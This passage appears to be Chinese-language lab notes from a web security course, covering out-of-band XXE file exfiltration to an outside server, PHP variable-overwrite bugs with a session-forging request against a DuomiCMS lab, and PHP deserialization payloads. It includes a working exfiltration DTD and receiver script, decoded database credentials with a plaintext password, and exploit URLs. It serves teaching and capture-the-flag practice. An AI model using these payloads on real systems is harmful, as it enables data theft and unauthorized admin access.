<!ENTITY % remote SYSTEM "http://119.29.105.113/xxe/1.xml"> 
%remote;
%send; 
]>

image-20201103010359867

服务器上1.xml

<!ENTITY % all
	"<!ENTITY &#x25; send SYSTEM \'http://119.29.105.113/xxe/2.php?id=%file;\'>"
>
%all;

1.xml等价于

<!ENTITY % send SYSTEM \'http://119.29.105.113/xxe/2.php?id=%file;\'>

服务器2.php

<?php
date_default_timezone_set(\'PRC\');
if(!isset($_GET["id"]))return;
file_put_contents("3.txt","文件修改服务器时间: ".date("Y-m-d H:i:s")."\r\n");
file_put_contents("3.txt",$_GET["id"],FILE_APPEND);
?>

服务器上3.txt

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==

在https://base64.us/上base64解密,找到数据库连接信息

$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

利用账户、密码、数据库登陆http://59.63.200.79:8207/adminer.php

image-20201102233036497

对admin密码e99d2e51cbefe75251f1d40821e07a32 进行MD5解密,https://www.somd5.com/,得到flag

image-20201102233518898

8-6变量覆盖

一、什么是变量覆盖?

变量覆盖指的是可以用我们的传参值替换程序原有的变量值

怎么去寻找变量覆盖?

经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。

变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限

一般只能白盒代码审计

二、函数解析

extract()函数

作用:将数组中将变量导入到当前的符号表

例一:

<?php
$a = "1";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

运行结果:$a = Cat; $b = Dog; $c = Horse

$a因为$my_array = array("a" => "Cat",覆盖成了Cat

例二:

题目:

image-20201104111738291

http://192.168.2.127/1.php?test=1&gift=1得到flag

image-20201104111835314

源码:

<?php
$flag=\'zkaq-niefeng\';
$test=\'zkaq-1950\';
extract($_GET);
if(isset($gift)){
	$cotent=trim($test);
	if($gift==$cotent){
		echo \'flag is:<br />\'.$flag;
	}
}else{
	echo \'error\';
}
?>

1、文件将get方法传输进来的值通过extrace()函数处理。

2、通过两个if语句分别判断是否存在gift变量,和变量gift的值和变量content的值是否相等。变量content的值是通过读取变量test的值获取到的。如果两个变量相等输出flag。如果不相等,输出错误。

例三:

<?php
  $a="echo\'Hello World\';\'";
  extract($_GET);
  eval($a);
?>

http://192.168.2.127/1.php?a=phpinfo();

parse_str()

将查询字符串解析到变量中

<?php
	parse_str("name=zkaq&&age=60");//test=123&gift=123
	echo $name."<br>";
	echo $age;
?>

输出了zkaq和60
那么parse_str("name=Bill&age=60") 相当于完成了$name =\'zkaq\'和$age =\'60\'

那么如果在parse_str中可以直接传参的话,那么是不是也可以覆盖变量呢。

$$引起的变量覆盖

不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$

\[ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。 来,我们上一个例题: ```php <?php $a = 1; foreach(array(\'_COOKIE\',\'_POST\',\'_GET\') as $_request) { foreach($$_request as $_key=>$_value) {$$_key=addslashes($_value);}} echo $a; ?> ``` ``` 这个代码会接受我们的GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入$_request $_key=>$_value 这是个数组解析,实际上就是键值分离 正常而言$a = 1是一个定值,但是因为$$_key的缘故,当我传参a=2;那么$$_key=addslashes($_value);就变为了$a = 2 ``` ## 三、靶场实战 我们靶场使用了多米cms2.0 我们可以使用seay代码审计工具去快速的找到危险函数,这里是变量覆盖的,所以特意自己加了一个匹配$$的规则:([^\$"]|$)\$\{?\$ 在系统配置的规则配置里面可以添加 ![image-20201104142932473](https://img-blog.csdnimg.cn/img_convert/2f9694a18303a8e45286464b54ad4f8c.png) 通过我们的seay审计工具,我们快速的发现了一个存在变量覆盖的地方(duomiphp\common.php文件) ![image-20201104143001350](https://img-blog.csdnimg.cn/img_convert/2685f164b6d8b17e4e1376c94a8b25d7.png) 看一看使用这个变量覆盖需要满足的条件 ![image-20201104143012408](https://img-blog.csdnimg.cn/img_convert/41c9080f78e14944a3d32e02da3509da.png) `1.必须要有传参 2.键名有cfg_和GLOBALS 3.COOKIE传参中有$_k ` 当这三个条件都满足的时候就进入了if分支,然后执行exit然后不往下执行了 我们很明确的知道了,common.php文件存在变量覆盖,那么我们去看下什么文件调用了他 很明显在登录的页面调用了该文件,我们去login.php去看看,这个页面似乎还调用了check.admin.php,我们去看看这个文件 通过看check.admin.php这个文件的备注,就能知道这个文件是控制session的,可以控制权限、id、用户名,那么我们是不是可以通过common.php进行一个伪造session呢? ![image-20201104143117440](https://img-blog.csdnimg.cn/img_convert/f1cdd46cd973073a898233f2a04650ab.png) 通过这里可以设置session值进行赋值来获得权限,groupid是权限的意思,我们全文一搜索,轻松的发现 ![image-20201104143130332](https://img-blog.csdnimg.cn/img_convert/4bf137e894c492821351490bfbfd0244.png) `POC:interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin` 执行以下链接 `http://59.63.200.79:8010/abc/upload/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin` 进入http://59.63.200.79:8010/abc/upload/admin就是管理员账户登录,就能找到flag ![image-20201104143947592](https://img-blog.csdnimg.cn/img_convert/0d5fe3c03a7b1596eeca816e69ec5153.png) [漏洞分析](https://www.freebuf.com/column/188018.html) # 8-7反序列化漏洞 ## 一、什么是反序列化 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】 简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中 序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。 ![image-20201104155754649](https://img-blog.csdnimg.cn/img_convert/9878df2c15255fd227cbe5a4731b671d.png) 与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object) ![image-20201104155829816](https://img-blog.csdnimg.cn/img_convert/39ae89e8c19b750e4bda9a7ded98c8d9.png) ## 二、魔术方法和反序列化利用 本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。 php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个: ``` __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数) __destruct():当对象被销毁时会自动调用。(析构函数) __wakeup() :如前所提,unserialize()时会自动调用。 ``` ![image-20201104160024116](https://img-blog.csdnimg.cn/img_convert/68480ac9cc6948781e005f5fd17aa019.png) ![image-20201104160029654](https://img-blog.csdnimg.cn/img_convert/90c609ec0f6738061c4f158dd8f60077.png) ### 序列化 ```php <?php //show_source(__FILE__); class chybeta{ var $test="123"; function __construct(){ echo "__construct<br />";//对象创建时会除法 } function __wakeup(){ echo "__wakeup<br />";//使用反序列化函数的时候回触发 } function __destruct(){ echo "__destruct<br />";//对象被销毁的时候会触发 } function zkaq(){ echo "zkaq<br />"; } } $class=new chybeta(); $class->zkaq(); $se=serialize($class); echo $se; echo "<br />"; ?> ``` 结果 ```php __construct //new chybeta()调用__construct zkaq //$class->zkaq(); O:7:"chybeta":1:{s:4:"test";s:3:"123";} //这个为$class序列化的结果 __destruct //销毁chybeta()调用__destruct ``` ### 反序列化 ```php <?php //show_source(__FILE__); class chybeta{ var $test="123"; function __construct(){ echo "__construct<br />";//对象创建时会除法 } function __wakeup(){ echo "__wakeup<br />";//使用反序列化函数的时候回触发 } function __destruct(){ echo "__destruct<br />";//对象被销毁的时候会触发 } function zkaq(){ echo "zkaq<br />"; } } $class2=\'O:7:"chybeta":1:{s:4:"test";s:3:"123";}\'; print_r($class2);//print_r() 函数用于打印变量,以更容易理解的形式展示。 echo "<br />"; $un=unserialize($class2); $un->zkaq(); ?> ``` 结果 ```php O:7:"chybeta":1:{s:4:"test";s:3:"123";}//new chybeta()调用__construct __wakeup//创建$un反序列化初始对象时调用chybeta里的__wakeup zkaq//用创建好的对象调用zkaq() __destruct//销毁chybeta()调用__destruct ``` ### 利用的一种途径 以下是生成代码 ```php <?php class readme{ function __toString(){ eval($this->source); return 1; } } $s=new readme(); $s->source="phpinfo();"; print_r(serialize($s)); ?> ``` 得到readme含有phpinfo();执行的序列化 ```php O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";} ``` 向下面1.php ```php <?php class readme{ function __toString(){ eval($this->source); return "1"; } } if(isset($_GET[\'source\'])){ $s= unserialize($_GET[\'source\']); echo $s; } ?> ``` 传入source的值为前面得到的序列化结果 ``` http://192.168.2.127/1.php?source=O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";} ``` 就能将source的传参进行反序列化,执行phpinfo命令 ## 三、靶场实战 ```php <?php Class readme{ public function __toString(){ return highlight_file(\'Readme.txt\', true).highlight_file($this->source, true); } } $s=new readme(); $s->source="flag.php";//设置$s读取内容 //Readme.txt文件说明flag在flag.php所以这里我们设置 $s=[$s];//将$s变成数组 $s=serialize($s);//将对象$s序列化 $s=md5($s).$s;//前面为序列化结果字符串取md5,后面为序列化后字符串 $s=urlencode($s);//将拼接结果转存URL编码 print_r($s) ?> ``` 在index.php添加一条key为todos,value为上述结果的Cookie,即可得到flag ![image-20201104193037942](https://img-blog.csdnimg.cn/img_convert/aa3c6492ba0082dd8b308338267d7ece.png) 靶场index.php源码 ```php flag in ./flag.php <?php Class readme{ public function __toString() { return highlight_file(\'Readme.txt\', true).highlight_file($this->source, true); } } //readme类声明,里面的__toString是魔术方法,相当于重写toString,能在readme类打印时输出Readme.txt里的内容和source值路径所对应文件的内容 if(isset($_GET[\'source\'])){ $s = new readme(); $s->source = __FILE__; echo $s; exit; } //如果index.php的GET传入source,就显示index.php源码内容 if(isset($_COOKIE[\'todos\'])){ $c = $_COOKIE[\'todos\']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) === $h){ $todos = unserialize($m); } } //如果COOKIE中存在todos,如果它前面32位为32位后面字符串的md5,就将32位后面字符串反序列化,$todos变成readme类数组 if(isset($_POST[\'text\'])){ $todo = $_POST[\'text\']; $todos[] = $todo; $m = serialize($todos); $h = md5($m); setcookie(\'todos\', $h.$m); header(\'Location: \'.$_SERVER[\'REQUEST_URI\']); exit; } ?> <html> <head> </head> <h1>Readme</h1> <a href="?source"><h2>Check Code</h2></a> <ul> <?php foreach($todos as $todo):?> <li><?=$todo?></li> <?php endforeach;?> </ul> //foreach($todos as $todo)表示遍历$todos数组,每次遍历暂时存贮在$todo //<?=$todo?>这里代表输出变量todo <form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store"> </form> ```\]